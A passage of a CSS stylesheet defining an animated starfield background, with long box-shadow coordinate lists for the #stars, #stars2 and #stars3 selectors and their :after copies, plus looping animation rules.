#FFF, 996px 1547px #FFF, 1663px 322px #FFF, 363px 1994px #FFF, 1218px 992px #FFF, 1657px 1396px #FFF, 129px 2133px #FFF, 1249px 1966px #FFF, 1644px 1787px #FFF, 2216px 2031px #FFF, 1286px 1869px #FFF, 1014px 189px #FFF, 1196px 2077px #FFF, 976px 20px #FFF, 692px 1240px #FFF, 52px 827px #FFF, 531px 842px #FFF, 477px 2452px #FFF, 1847px 1965px #FFF, 904px 524px #FFF, 1749px 1112px #FFF, 1833px 515px #FFF, 2093px 671px #FFF, 2192px 739px #FFF, 991px 1002px #FFF, 174px 192px #FFF, 1340px 2418px #FFF, 292px 426px #FFF, 1677px 119px #FFF, 1275px 213px #FFF, 125px 1540px #FFF, 751px 799px #FFF, 1313px 1945px #FFF, 1499px 1047px #FFF, 2427px 1703px #FFF, 1589px 699px #FFF, 947px 2492px #FFF, 1791px 2443px #FFF, 1240px 667px #FFF, 199px 2037px #FFF, 741px 1793px #FFF, 1473px 1840px #FFF, 1579px 843px #FFF, 1542px 882px #FFF, 1652px 282px #FFF, 258px 111px #FFF, 2089px 1206px #FFF, 100px 1439px #FFF, 1248px 1067px #FFF, 1333px 160px #FFF, 1540px 1053px #FFF, 877px 1471px #FFF, 1067px 1169px #FFF, 2321px 1667px #FFF, 1668px 387px #FFF, 2074px 1365px #FFF, 893px 1086px #FFF, 1555px 1669px #FFF, 1455px 2072px #FFF, 1751px 2264px #FFF, 1880px 1622px #FFF, 26px 521px #FFF, 1288px 1432px #FFF, 241px 102px #FFF, 1939px 1818px #FFF, 2428px 913px #FFF, 2030px 1043px #FFF, 1597px 504px #FFF, 1691px 1696px #FFF, 382px 1424px #FFF, 1703px 718px #FFF, 1246px 2391px #FFF, 2471px 2302px #FFF, 961px 1934px #FFF, 2280px 1289px #FFF, 770px 785px #FFF, 2352px 1720px #FFF;\n    -webkit-animation: animStar 50s infinite linear;\n    -moz-animation: animStar 50s infinite linear;\n    animation: animStar 50s infinite linear;\n}\n\n#stars:after {\n    content: \" \";\n    position: absolute;\n    top: 2000px;\n    width: 1px;\n    height: 1px;\n    background: transparent;\n    box-shadow: 1032px 1327px #FFF, 1998px 654px #FFF, 2328px 380px #FFF, 1041px 2459px #FFF, 1740px 2200px #FFF, 396px 565px #FFF, 759px 238px #FFF, 585px 1136px #FFF, 2218px 952px #FFF, 137px 509px #FFF, 878px 1889px #FFF, 26px 2455px #FFF, 705px 1285px #FFF, 2412px 65px #FFF, 1340px 2391px #FFF, 2233px 1530px #FFF, 426px 1px #FFF, 1831px 1950px #FFF, 2331px 683px #FFF, 1183px 1649px #FFF, 1577px 1705px #FFF, 1956px 425px #FFF, 1223px 607px #FFF, 1350px 1031px #FFF, 1296px 951px #FFF, 1178px 1766px #FFF, 1089px 2047px #FFF, 2368px 1678px #FFF, 444px 41px #FFF, 80px 1667px #FFF, 2255px 549px #FFF, 1807px 2283px #FFF, 974px 2064px #FFF, 819px 1055px #FFF, 824px 2447px #FFF, 2182px 1483px #FFF, 1025px 443px #FFF, 901px 466px #FFF, 2236px 122px #FFF, 2207px 712px #FFF, 272px 764px #FFF, 2165px 1032px #FFF, 1502px 140px #FFF, 792px 878px #FFF, 352px 176px #FFF, 1790px 460px #FFF, 822px 413px #FFF, 2110px 1540px #FFF, 598px 1149px #FFF, 1380px 270px #FFF, 2020px 1627px #FFF, 75px 1745px #FFF, 690px 16px #FFF, 1500px 322px #FFF, 1114px 1628px #FFF, 1226px 411px #FFF, 137px 2331px #FFF, 2172px 1228px #FFF, 1188px 2252px #FFF, 1638px 1943px #FFF, 2493px 164px #FFF, 1460px 671px #FFF, 587px 1903px #FFF, 35px 1855px #FFF, 281px 2485px #FFF, 379px 182px #FFF, 946px 1672px #FFF, 1112px 225px #FFF, 323px 775px #FFF, 1944px 2449px #FFF, 1762px 1025px #FFF, 93px 1702px #FFF, 1007px 1332px #FFF, 629px 1944px #FFF, 1662px 1494px #FFF, 861px 2196px #FFF, 1821px 1300px #FFF, 857px 1406px #FFF, 1906px 2126px #FFF, 2279px 1661px #FFF, 1416px 2499px #FFF, 645px 1303px #FFF, 1101px 613px #FFF, 807px 1394px #FFF, 1329px 1345px #FFF, 1469px 1426px #FFF, 821px 889px #FFF, 760px 1512px #FFF, 1280px 2070px #FFF, 1257px 1959px #FFF, 1636px 878px #FFF, 1828px 1291px #FFF, 568px 2367px #FFF, 740px 304px #FFF, 1531px 1995px #FFF, 871px 2118px #FFF, 285px 1367px #FFF, 2184px 2215px #FFF, 1405px 144px #FFF, 1291px 506px #FFF, 529px 178px #FFF, 1893px 1318px #FFF, 273px 2426px #FFF, 847px 612px #FFF, 578px 741px #FFF, 2115px 2368px #FFF, 1548px 1295px #FFF, 1998px 835px #FFF, 1925px 408px #FFF, 84px 916px #FFF, 1338px 971px #FFF, 1963px 101px #FFF, 1276px 639px #FFF, 2215px 1361px #FFF, 816px 104px #FFF, 1199px 1827px #FFF, 209px 1122px #FFF, 332px 719px #FFF, 1164px 801px #FFF, 2340px 1907px #FFF, 80px 2449px #FFF, 1990px 2160px #FFF, 229px 1343px #FFF, 2132px 2123px #FFF, 102px 556px #FFF, 1939px 918px #FFF, 559px 1036px #FFF, 364px 1868px #FFF, 689px 1308px #FFF, 547px 40px #FFF, 997px 699px #FFF, 533px 1124px #FFF, 187px 1587px #FFF, 2243px 2233px #FFF, 956px 1122px #FFF, 1690px 1643px #FFF, 2378px 2097px #FFF, 716px 2248px #FFF, 2330px 1221px #FFF, 12px 253px #FFF, 715px 1954px #FFF, 999px 1354px #FFF, 147px 481px #FFF, 554px 1899px #FFF, 854px 567px #FFF, 126px 269px #FFF, 1981px 1363px #FFF, 1775px 2407px #FFF, 779px 1946px #FFF, 1651px 666px #FFF, 732px 747px #FFF, 21px 653px #FFF, 366px 683px #FFF, 1578px 406px #FFF, 1968px 1805px #FFF, 2406px 1726px #FFF, 2064px 1705px #FFF, 425px 25px #FFF, 1021px 872px #FFF, 138px 2044px #FFF, 798px 875px #FFF, 311px 1450px #FFF, 953px 2107px #FFF, 1699px 1163px #FFF, 106px 1646px #FFF, 2068px 700px #FFF, 1539px 1341px #FFF, 1959px 1175px #FFF, 2246px 1349px #FFF, 636px 1399px #FFF, 1458px 160px #FFF, 576px 864px #FFF, 610px 1024px #FFF, 1908px 763px #FFF, 1521px 1172px #FFF, 560px 1768px #FFF, 1786px 1803px #FFF, 2180px 1478px #FFF, 1231px 1460px #FFF, 134px 898px #FFF, 906px 1058px #FFF, 1000px 1141px #FFF, 1681px 1081px #FFF, 1374px 1386px #FFF, 2243px 1274px #FFF, 1291px 827px #FFF, 1293px 1093px #FFF, 484px 1059px #FFF, 51px 245px #FFF, 1382px 947px #FFF, 2439px 1668px #FFF, 1083px 1241px #FFF, 408px 1533px #FFF, 1983px 2419px #FFF, 473px 1743px #FFF, 2445px 723px #FFF, 2135px 255px #FFF, 405px 1016px #FFF, 1352px 2398px #FFF, 2084px 1638px #FFF, 944px 1470px #FFF, 860px 1974px #FFF, 795px 1189px #FFF, 2476px 1650px #FFF, 226px 2453px #FFF, 1128px 1350px #FFF, 2473px 1917px #FFF, 1040px 2162px #FFF, 271px 280px #FFF, 2004px 1525px #FFF, 1419px 1714px #FFF, 1777px 73px #FFF, 1965px 1464px #FFF, 890px 875px #FFF, 1041px 1443px #FFF, 286px 2476px #FFF, 1558px 534px #FFF, 2295px 846px #FFF, 1752px 2196px #FFF, 127px 94px #FFF, 2418px 228px #FFF, 1118px 652px #FFF, 826px 2056px #FFF, 1px 835px #FFF, 470px 411px #FFF, 2366px 1765px #FFF, 945px 470px #FFF, 810px 1361px #FFF, 1133px 1653px #FFF, 225px 2384px #FFF, 2351px 842px #FFF, 1046px 2305px #FFF, 2288px 842px #FFF, 1948px 875px #FFF, 2143px 2380px #FFF, 1662px 98px #FFF, 1166px 1796px #FFF, 1217px 665px #FFF, 27px 2271px #FFF, 692px 2453px #FFF, 38px 2236px #FFF, 1922px 353px #FFF, 1815px 2347px #FFF, 1534px 1145px #FFF, 1952px 1247px #FFF, 2380px 2330px #FFF, 2148px 1947px #FFF, 93px 371px #FFF, 1930px 1887px #FFF, 913px 2284px #FFF, 414px 169px #FFF, 684px 1248px #FFF, 263px 641px #FFF, 1889px 1134px #FFF, 233px 2327px #FFF, 444px 532px #FFF, 969px 1508px #FFF, 370px 1483px #FFF, 756px 1152px #FFF, 854px 1961px #FFF, 1186px 777px #FFF, 1191px 2316px #FFF, 2350px 24px #FFF, 1570px 2153px #FFF, 1385px 105px #FFF, 345px 962px #FFF, 1457px 679px #FFF, 1672px 1582px #FFF, 471px 2359px #FFF, 41px 948px #FFF, 1386px 2149px #FFF, 2479px 1535px #FFF, 1316px 2500px #FFF, 885px 1328px #FFF, 1415px 2119px #FFF, 1462px 637px #FFF, 1957px 1289px #FFF, 2064px 1315px #FFF, 1306px 193px #FFF, 92px 1685px #FFF, 1697px 948px #FFF, 608px 2094px #FFF, 1740px 1208px #FFF, 2251px 759px #FFF, 312px 694px #FFF, 2102px 2356px #FFF, 1567px 472px #FFF, 1254px 869px #FFF, 1925px 1799px #FFF, 2092px 1745px #FFF, 154px 357px #FFF, 497px 2342px #FFF, 2282px 2021px #FFF, 119px 592px #FFF, 1356px 507px #FFF, 615px 1294px #FFF, 904px 72px #FFF, 1133px 494px #FFF, 1948px 185px #FFF, 2463px 498px #FFF, 2017px 2238px #FFF, 2063px 1760px #FFF, 2201px 1860px #FFF, 1743px 2174px #FFF, 493px 1108px #FFF, 943px 2079px #FFF, 1757px 838px #FFF, 2303px 425px #FFF, 1000px 2373px #FFF, 2253px 1232px #FFF, 259px 1786px #FFF, 827px 1972px #FFF, 621px 1404px #FFF, 1901px 545px #FFF, 1303px 315px #FFF, 185px 311px #FFF, 195px 1465px #FFF, 1824px 1803px #FFF, 1894px 2327px #FFF, 541px 2053px #FFF, 712px 1821px #FFF, 907px 1152px #FFF, 1104px 2363px #FFF, 219px 1887px #FFF, 816px 2056px #FFF, 1682px 706px #FFF, 562px 425px #FFF, 2005px 2023px #FFF, 1806px 374px #FFF, 1735px 1081px #FFF, 2162px 263px #FFF, 1948px 1949px #FFF, 1016px 2377px #FFF, 440px 2238px #FFF, 491px 2139px #FFF, 145px 2068px #FFF, 2161px 1756px #FFF, 2338px 2213px #FFF, 2357px 2087px #FFF, 117px 268px #FFF, 94px 1628px #FFF, 497px 1571px #FFF, 1065px 2096px #FFF, 1510px 2074px #FFF, 1073px 2358px #FFF, 2413px 1962px #FFF, 263px 1065px #FFF, 1051px 1418px #FFF, 344px 1881px #FFF, 111px 3px #FFF, 2326px 1404px #FFF, 53px 1278px #FFF, 1432px 601px #FFF, 2284px 1977px #FFF, 2245px 781px #FFF, 1113px 1668px #FFF, 72px 1532px #FFF, 592px 2158px #FFF, 1878px 290px #FFF, 1908px 1722px #FFF, 809px 610px #FFF, 1895px 1862px #FFF, 1567px 2290px #FFF, 2474px 1489px #FFF, 236px 733px #FFF, 1226px 777px #FFF, 1778px 2255px #FFF, 458px 2248px #FFF, 1371px 1055px #FFF, 871px 2287px #FFF, 547px 1861px #FFF, 259px 1812px #FFF, 349px 1242px #FFF, 451px 1882px #FFF, 2390px 742px #FFF, 1769px 2100px #FFF, 1416px 1851px #FFF, 438px 2118px #FFF, 1562px 1343px #FFF, 2308px 545px #FFF, 1723px 179px #FFF, 1063px 1389px #FFF, 477px 726px #FFF, 719px 726px #FFF, 1354px 655px #FFF, 159px 342px #FFF, 1515px 1755px #FFF, 817px 1141px #FFF, 1650px 708px #FFF, 96px 1945px #FFF, 452px 2081px #FFF, 1325px 2247px #FFF, 1300px 711px #FFF, 1965px 1989px #FFF, 770px 2029px #FFF, 414px 2250px #FFF, 2109px 867px #FFF, 1664px 145px #FFF, 606px 2134px #FFF, 1996px 63px #FFF, 1701px 809px #FFF, 2467px 1134px #FFF, 1619px 1599px #FFF, 990px 1995px #FFF, 239px 878px #FFF, 954px 202px #FFF, 107px 1475px #FFF, 2175px 1493px #FFF, 2376px 2468px #FFF, 420px 2033px #FFF, 2317px 1282px #FFF, 1942px 1332px #FFF, 1286px 1836px #FFF, 635px 885px #FFF, 1410px 99px #FFF, 959px 16px #FFF, 1247px 1674px #FFF, 1704px 236px #FFF, 821px 1454px #FFF, 1715px 2095px #FFF, 1795px 2138px #FFF, 854px 1611px #FFF, 2212px 1598px #FFF, 728px 1716px #FFF, 245px 2477px #FFF, 2374px 2123px #FFF, 1552px 1175px #FFF, 619px 1835px #FFF, 369px 909px #FFF, 645px 2059px #FFF, 1450px 603px #FFF, 2223px 1321px #FFF, 2276px 1114px #FFF, 1484px 1302px #FFF, 2276px 2104px #FFF, 1961px 536px #FFF, 1728px 1061px #FFF, 2px 250px #FFF, 1224px 383px #FFF, 1890px 395px #FFF, 573px 1591px #FFF, 1874px 766px #FFF, 281px 2150px #FFF, 1912px 501px #FFF, 1337px 2479px #FFF, 829px 986px #FFF, 1238px 1527px #FFF, 517px 2207px #FFF, 1273px 158px #FFF, 2106px 2446px #FFF, 800px 512px #FFF, 657px 1183px #FFF, 1920px 1381px #FFF, 2130px 2481px #FFF, 1254px 1713px #FFF, 12px 1068px #FFF, 1861px 207px #FFF, 2280px 2151px #FFF, 657px 1152px #FFF, 1985px 2053px #FFF, 1970px 1695px #FFF, 1927px 2041px #FFF, 2066px 2436px #FFF, 1071px 693px #FFF, 581px 1617px #FFF, 1559px 743px #FFF, 2477px 617px #FFF, 1737px 109px #FFF, 483px 1867px #FFF, 786px 387px #FFF, 700px 599px #FFF, 1815px 2481px #FFF, 525px 466px #FFF, 1896px 2206px #FFF, 1209px 1943px #FFF, 2271px 982px #FFF, 45px 884px #FFF, 2471px 1273px #FFF, 1624px 2030px #FFF, 537px 1857px #FFF, 1383px 1445px #FFF, 1158px 1105px #FFF, 902px 1777px #FFF, 374px 112px #FFF, 1352px 494px #FFF, 132px 2482px #FFF, 609px 192px #FFF, 294px 406px #FFF, 1140px 2171px #FFF, 1344px 1410px #FFF, 475px 64px #FFF, 443px 1674px #FFF, 1645px 2322px #FFF, 1219px 1511px #FFF, 1197px 2497px #FFF, 341px 319px #FFF, 1087px 603px #FFF, 2362px 1918px #FFF, 1292px 1115px #FFF, 265px 1318px #FFF, 468px 975px #FFF, 1997px 307px #FFF, 2317px 1913px #FFF, 42px 2466px #FFF, 1071px 2065px #FFF, 2485px 596px #FFF, 1685px 772px #FFF, 2035px 1005px #FFF, 1408px 1576px #FFF, 1517px 1954px #FFF, 1974px 1397px #FFF, 1917px 1886px #FFF, 989px 438px #FFF, 449px 986px #FFF, 446px 1809px #FFF, 1134px 479px #FFF, 1494px 765px #FFF, 273px 1920px #FFF, 2265px 1821px #FFF, 2340px 616px #FFF, 152px 312px #FFF, 2372px 1725px #FFF, 1347px 633px #FFF, 1149px 2158px #FFF, 99px 1849px #FFF, 680px 255px #FFF, 2120px 1811px #FFF, 1609px 2002px #FFF, 1951px 2368px #FFF, 2235px 1035px #FFF, 256px 439px #FFF, 673px 2299px #FFF, 805px 688px #FFF, 431px 1601px #FFF, 498px 1489px #FFF, 821px 1679px #FFF, 869px 1317px #FFF, 888px 1042px #FFF, 802px 2040px #FFF, 262px 1661px #FFF, 515px 122px #FFF, 1723px 1215px #FFF, 640px 529px #FFF, 532px 2061px #FFF, 1411px 1439px #FFF, 1431px 585px #FFF, 1915px 80px #FFF, 623px 27px #FFF, 112px 1237px #FFF, 1525px 757px #FFF, 282px 1552px #FFF, 2335px 1561px #FFF, 2246px 1297px #FFF, 1458px 1872px #FFF, 64px 2228px #FFF, 574px 1865px #FFF, 1241px 2241px #FFF, 549px 285px #FFF, 2316px 1659px #FFF, 2189px 2311px #FFF, 2171px 287px #FFF, 1520px 1651px #FFF, 372px 316px #FFF, 1415px 720px #FFF, 1701px 1503px #FFF, 904px 2332px #FFF, 2136px 1081px #FFF, 213px 2429px #FFF, 1758px 1866px #FFF, 2354px 547px #FFF, 2002px 1418px #FFF, 1781px 814px #FFF, 826px 2303px #FFF, 66px 235px #FFF, 75px 1956px #FFF, 360px 2010px #FFF, 1842px 1649px #FFF, 1975px 234px #FFF, 456px 2392px #FFF, 2350px 1073px #FFF, 2055px 1075px #FFF, 567px 2453px #FFF, 1871px 1960px #FFF, 1872px 1218px #FFF, 2124px 1268px #FFF, 1794px 1501px #FFF, 362px 631px #FFF, 240px 1292px #FFF, 227px 657px #FFF, 2327px 616px #FFF, 1370px 175px #FFF, 1281px 2222px #FFF, 1496px 371px #FFF, 1287px 1814px #FFF, 71px 2206px #FFF, 1449px 1855px #FFF, 1509px 1075px #FFF, 81px 1594px #FFF, 1000px 1078px #FFF, 1613px 277px #FFF, 1952px 2207px #FFF, 1299px 2371px #FFF, 1272px 499px #FFF, 2135px 565px #FFF, 2175px 2152px #FFF, 1569px 1468px #FFF, 2179px 864px #FFF, 1530px 2172px #FFF, 2297px 173px #FFF, 1197px 802px #FFF, 2323px 1098px #FFF, 791px 604px #FFF, 1756px 2141px #FFF, 1983px 945px #FFF, 2301px 2014px #FFF, 13px 232px #FFF, 218px 2099px #FFF, 2123px 2342px #FFF, 1268px 1551px #FFF, 1575px 2386px #FFF, 360px 843px #FFF, 1841px 703px #FFF, 147px 87px #FFF, 1509px 1431px #FFF, 996px 1547px #FFF, 1663px 322px #FFF, 363px 1994px #FFF, 1218px 992px #FFF, 1657px 1396px #FFF, 129px 2133px #FFF, 1249px 1966px #FFF, 1644px 1787px #FFF, 2216px 2031px #FFF, 1286px 1869px #FFF, 1014px 189px #FFF, 1196px 2077px #FFF, 976px 20px #FFF, 692px 1240px #FFF, 52px 827px #FFF, 531px 842px #FFF, 477px 2452px #FFF, 1847px 1965px #FFF, 904px 524px #FFF, 1749px 1112px #FFF, 1833px 515px #FFF, 2093px 671px #FFF, 2192px 739px #FFF, 991px 1002px #FFF, 174px 192px #FFF, 1340px 2418px #FFF, 292px 426px #FFF, 1677px 119px #FFF, 1275px 213px #FFF, 125px 1540px #FFF, 751px 799px #FFF, 1313px 1945px #FFF, 1499px 1047px #FFF, 2427px 1703px #FFF, 1589px 699px #FFF, 947px 2492px #FFF, 1791px 2443px #FFF, 1240px 667px #FFF, 199px 2037px #FFF, 741px 1793px #FFF, 1473px 1840px #FFF, 1579px 843px #FFF, 1542px 882px #FFF, 1652px 282px #FFF, 258px 111px #FFF, 2089px 1206px #FFF, 100px 1439px #FFF, 1248px 1067px #FFF, 1333px 160px #FFF, 1540px 1053px #FFF, 877px 1471px #FFF, 1067px 1169px #FFF, 2321px 1667px #FFF, 1668px 387px #FFF, 2074px 1365px #FFF, 893px 1086px #FFF, 1555px 1669px #FFF, 1455px 2072px #FFF, 1751px 2264px #FFF, 1880px 1622px #FFF, 26px 521px #FFF, 1288px 1432px #FFF, 241px 102px #FFF, 1939px 1818px #FFF, 2428px 913px #FFF, 2030px 1043px #FFF, 1597px 504px #FFF, 1691px 1696px #FFF, 382px 1424px #FFF, 1703px 718px #FFF, 1246px 2391px #FFF, 2471px 2302px #FFF, 961px 1934px #FFF, 2280px 1289px #FFF, 770px 785px #FFF, 2352px 1720px #FFF;\n}\n\n#stars2 {\n    width: 2px;\n    height: 2px;\n    margin-left: 25%;\n    background: transparent;\n    box-shadow: 721px 2157px #FFF, 1894px 114px #FFF, 1812px 839px #FFF, 738px 2050px #FFF, 2246px 822px #FFF, 1159px 718px #FFF, 1847px 1504px #FFF, 1226px 274px #FFF, 1732px 2272px #FFF, 782px 1886px #FFF, 1665px 2085px #FFF, 819px 2088px #FFF, 1115px 194px #FFF, 1614px 1898px #FFF, 474px 642px #FFF, 172px 1318px #FFF, 1997px 1807px #FFF, 1361px 1823px #FFF, 2298px 439px #FFF, 2202px 562px #FFF, 271px 173px #FFF, 1613px 1182px #FFF, 264px 1814px #FFF, 2069px 2339px #FFF, 2139px 1619px #FFF, 226px 1452px #FFF, 48px 1507px #FFF, 1761px 1681px #FFF, 2448px 1690px #FFF, 553px 1540px #FFF, 2310px 2066px #FFF, 1449px 943px #FFF, 158px 426px #FFF, 11px 963px #FFF, 869px 1828px #FFF, 911px 127px #FFF, 2022px 1016px #FFF, 776px 282px #FFF, 1150px 347px #FFF, 1337px 289px #FFF, 140px 292px #FFF, 888px 96px #FFF, 822px 403px #FFF, 384px 1904px #FFF, 398px 652px #FFF, 965px 1345px #FFF, 2209px 1559px #FFF, 2188px 37px #FFF, 1255px 1422px #FFF, 1241px 2049px #FFF, 718px 45px #FFF, 2346px 1454px #FFF, 243px 2178px #FFF, 1263px 1365px #FFF, 1941px 2252px #FFF, 159px 465px #FFF, 2154px 764px #FFF, 1623px 464px #FFF, 1823px 2163px #FFF, 487px 1627px #FFF, 2329px 1439px #FFF, 1377px 1365px #FFF, 540px 455px #FFF, 1010px 792px #FFF, 347px 118px #FFF, 1242px 2457px #FFF, 1723px 1534px #FFF, 596px 625px #FFF, 1053px 940px #FFF, 158px 1160px #FFF, 2262px 464px #FFF, 1702px 156px #FFF, 756px 1596px #FFF, 1070px 1875px #FFF, 1349px 205px #FFF, 940px 178px #FFF, 300px 1637px #FFF, 1336px 1852px #FFF, 603px 443px #FFF, 578px 2372px #FFF, 1730px 2457px #FFF, 583px 1608px #FFF, 162px 1379px #FFF, 288px 599px #FFF, 400px 16px #FFF, 1962px 2495px #FFF, 783px 353px #FFF, 2194px 2px #FFF, 1527px 383px #FFF, 725px 2191px #FFF, 1921px 247px #FFF, 1143px 294px #FFF, 2009px 1414px #FFF, 917px 678px #FFF, 2372px 333px #FFF, 1901px 16px #FFF, 91px 1803px #FFF, 240px 1885px #FFF, 1586px 1941px #FFF, 2062px 1195px #FFF, 1576px 303px #FFF, 2412px 2083px #FFF, 1152px 528px #FFF, 1780px 1859px #FFF, 2031px 2497px #FFF, 630px 1976px #FFF, 1148px 1645px #FFF, 903px 878px #FFF, 1367px 1752px #FFF, 2447px 2291px #FFF, 554px 1165px #FFF, 1154px 2189px #FFF, 929px 552px #FFF, 313px 584px #FFF, 1328px 933px #FFF, 381px 1515px #FFF, 1124px 2121px #FFF, 1935px 1258px #FFF, 1180px 1981px #FFF, 44px 1238px #FFF, 1657px 90px #FFF, 9px 2285px #FFF, 1182px 252px #FFF, 475px 1428px #FFF, 2146px 682px #FFF, 2069px 1043px #FFF, 1943px 2488px #FFF, 507px 983px #FFF, 1821px 1823px #FFF, 1170px 1008px #FFF, 1984px 1844px #FFF, 2105px 202px #FFF, 2130px 1386px #FFF, 2427px 2091px #FFF, 1623px 1577px #FFF, 1507px 1px #FFF, 1306px 314px #FFF, 1831px 974px #FFF, 1883px 1438px #FFF, 557px 1174px #FFF, 484px 330px #FFF, 1971px 2245px #FFF, 1086px 1421px #FFF, 1558px 1592px #FFF, 660px 2351px #FFF, 1860px 2157px #FFF, 930px 2192px #FFF, 1894px 2402px #FFF, 1349px 481px #FFF, 1315px 608px #FFF, 1168px 1383px #FFF, 615px 784px #FFF, 1152px 835px #FFF, 1860px 1366px #FFF, 2195px 1334px #FFF, 1757px 1430px #FFF, 880px 793px #FFF, 319px 2183px #FFF, 697px 211px #FFF, 631px 1128px #FFF, 258px 1251px #FFF, 1036px 1924px #FFF, 1607px 1231px #FFF, 885px 520px #FFF, 2006px 237px #FFF, 1273px 1196px #FFF, 1163px 1178px #FFF, 335px 1918px #FFF, 487px 276px #FFF, 1785px 688px #FFF, 1120px 1698px #FFF, 1583px 1318px #FFF, 215px 1759px #FFF, 181px 1766px #FFF, 2231px 2307px #FFF, 643px 1305px #FFF, 1832px 42px #FFF, 523px 2343px #FFF, 1608px 2181px #FFF, 604px 1488px #FFF, 2396px 2495px #FFF, 2043px 2444px #FFF, 138px 1505px #FFF, 204px 2173px #FFF, 1722px 2350px #FFF, 2317px 920px #FFF, 1237px 1138px #FFF, 1415px 1026px #FFF, 138px 1722px #FFF, 1730px 2073px #FFF, 112px 2086px #FFF, 327px 2335px #FFF, 47px 2231px #FFF, 849px 2007px #FFF, 1210px 2015px #FFF, 103px 424px #FFF, 821px 2238px #FFF, 720px 736px #FFF, 138px 1413px #FFF, 733px 318px #FFF;\n    -webkit-animation: animStar 100s infinite linear;\n    -moz-animation: animStar 100s infinite linear;\n    animation: animStar 100s infinite linear;\n}\n\n#stars2:after {\n    content: \" \";\n    position: absolute;\n    top: 2000px;\n    width: 2px;\n    height: 2px;\n    background: transparent;\n    box-shadow: 721px 2157px #FFF, 1894px 114px #FFF, 1812px 839px #FFF, 738px 2050px #FFF, 2246px 822px #FFF, 1159px 718px #FFF, 1847px 1504px #FFF, 1226px 274px #FFF, 1732px 2272px #FFF, 782px 1886px #FFF, 1665px 2085px #FFF, 819px 2088px #FFF, 1115px 194px #FFF, 1614px 1898px #FFF, 474px 642px #FFF, 172px 1318px #FFF, 1997px 1807px #FFF, 1361px 1823px #FFF, 2298px 439px #FFF, 2202px 562px #FFF, 271px 173px #FFF, 1613px 1182px #FFF, 264px 1814px #FFF, 2069px 2339px #FFF, 2139px 1619px #FFF, 226px 1452px #FFF, 48px 1507px #FFF, 1761px 1681px #FFF, 2448px 1690px #FFF, 553px 1540px #FFF, 2310px 2066px #FFF, 1449px 943px #FFF, 158px 426px #FFF, 11px 963px #FFF, 869px 1828px #FFF, 911px 127px #FFF, 2022px 1016px #FFF, 776px 282px #FFF, 1150px 347px #FFF, 1337px 289px #FFF, 140px 292px #FFF, 888px 96px #FFF, 822px 403px #FFF, 384px 1904px #FFF, 398px 652px #FFF, 965px 1345px #FFF, 2209px 1559px #FFF, 2188px 37px #FFF, 1255px 1422px #FFF, 1241px 2049px #FFF, 718px 45px #FFF, 2346px 1454px #FFF, 243px 2178px #FFF, 1263px 1365px #FFF, 1941px 2252px #FFF, 159px 465px #FFF, 2154px 764px #FFF, 1623px 464px #FFF, 1823px 2163px #FFF, 487px 1627px #FFF, 2329px 1439px #FFF, 1377px 1365px #FFF, 540px 455px #FFF, 1010px 792px #FFF, 347px 118px #FFF, 1242px 2457px #FFF, 1723px 1534px #FFF, 596px 625px #FFF, 1053px 940px #FFF, 158px 1160px #FFF, 2262px 464px #FFF, 1702px 156px #FFF, 756px 1596px #FFF, 1070px 1875px #FFF, 1349px 205px #FFF, 940px 178px #FFF, 300px 1637px #FFF, 1336px 1852px #FFF, 603px 443px #FFF, 578px 2372px #FFF, 1730px 2457px #FFF, 583px 1608px #FFF, 162px 1379px #FFF, 288px 599px #FFF, 400px 16px #FFF, 1962px 2495px #FFF, 783px 353px #FFF, 2194px 2px #FFF, 1527px 383px #FFF, 725px 2191px #FFF, 1921px 247px #FFF, 1143px 294px #FFF, 2009px 1414px #FFF, 917px 678px #FFF, 2372px 333px #FFF, 1901px 16px #FFF, 91px 1803px #FFF, 240px 1885px #FFF, 1586px 1941px #FFF, 2062px 1195px #FFF, 1576px 303px #FFF, 2412px 2083px #FFF, 1152px 528px #FFF, 1780px 1859px #FFF, 2031px 2497px #FFF, 630px 1976px #FFF, 1148px 1645px #FFF, 903px 878px #FFF, 1367px 1752px #FFF, 2447px 2291px #FFF, 554px 1165px #FFF, 1154px 2189px #FFF, 929px 552px #FFF, 313px 584px #FFF, 1328px 933px #FFF, 381px 1515px #FFF, 1124px 2121px #FFF, 1935px 1258px #FFF, 1180px 1981px #FFF, 44px 1238px #FFF, 1657px 90px #FFF, 9px 2285px #FFF, 1182px 252px #FFF, 475px 1428px #FFF, 2146px 682px #FFF, 2069px 1043px #FFF, 1943px 2488px #FFF, 507px 983px #FFF, 1821px 1823px #FFF, 1170px 1008px #FFF, 1984px 1844px #FFF, 2105px 202px #FFF, 2130px 1386px #FFF, 2427px 2091px #FFF, 1623px 1577px #FFF, 1507px 1px #FFF, 1306px 314px #FFF, 1831px 974px #FFF, 1883px 1438px #FFF, 557px 1174px #FFF, 484px 330px #FFF, 1971px 2245px #FFF, 1086px 1421px #FFF, 1558px 1592px #FFF, 660px 2351px #FFF, 1860px 2157px #FFF, 930px 2192px #FFF, 1894px 2402px #FFF, 1349px 481px #FFF, 1315px 608px #FFF, 1168px 1383px #FFF, 615px 784px #FFF, 1152px 835px #FFF, 1860px 1366px #FFF, 2195px 1334px #FFF, 1757px 1430px #FFF, 880px 793px #FFF, 319px 2183px #FFF, 697px 211px #FFF, 631px 1128px #FFF, 258px 1251px #FFF, 1036px 1924px #FFF, 1607px 1231px #FFF, 885px 520px #FFF, 2006px 237px #FFF, 1273px 1196px #FFF, 1163px 1178px #FFF, 335px 1918px #FFF, 487px 276px #FFF, 1785px 688px #FFF, 1120px 1698px #FFF, 1583px 1318px #FFF, 215px 1759px #FFF, 181px 1766px #FFF, 2231px 2307px #FFF, 643px 1305px #FFF, 1832px 42px #FFF, 523px 2343px #FFF, 1608px 2181px #FFF, 604px 1488px #FFF, 2396px 2495px #FFF, 2043px 2444px #FFF, 138px 1505px #FFF, 204px 2173px #FFF, 1722px 2350px #FFF, 2317px 920px #FFF, 1237px 1138px #FFF, 1415px 1026px #FFF, 138px 1722px #FFF, 1730px 2073px #FFF, 112px 2086px #FFF, 327px 2335px #FFF, 47px 2231px #FFF, 849px 2007px #FFF, 1210px 2015px #FFF, 103px 424px #FFF, 821px 2238px #FFF, 720px 736px #FFF, 138px 1413px #FFF, 733px 318px #FFF;\n}\n\n#stars3 {\n    width: 3px;\n    height: 3px;\n    margin-left: 25%;\n    background: transparent;\n    box-shadow: 1260px 9px #FFF, 592px 1084px #FFF, 1730px 1390px #FFF, 2052px 1939px #FFF, 2407px 1255px #FFF, 1482px 40px #FFF, 1248px 577px #FFF, 1328px 648px #FFF, 755px 1762px #FFF, 2010px 1041px #FFF, 2151px 2003px #FFF, 2135px 2098px #FFF, 1388px 1256px #FFF, 1841px 106px #FFF, 1779px 1501px #FFF, 1844px 151px #FFF, 451px 2173px #FFF, 2081px 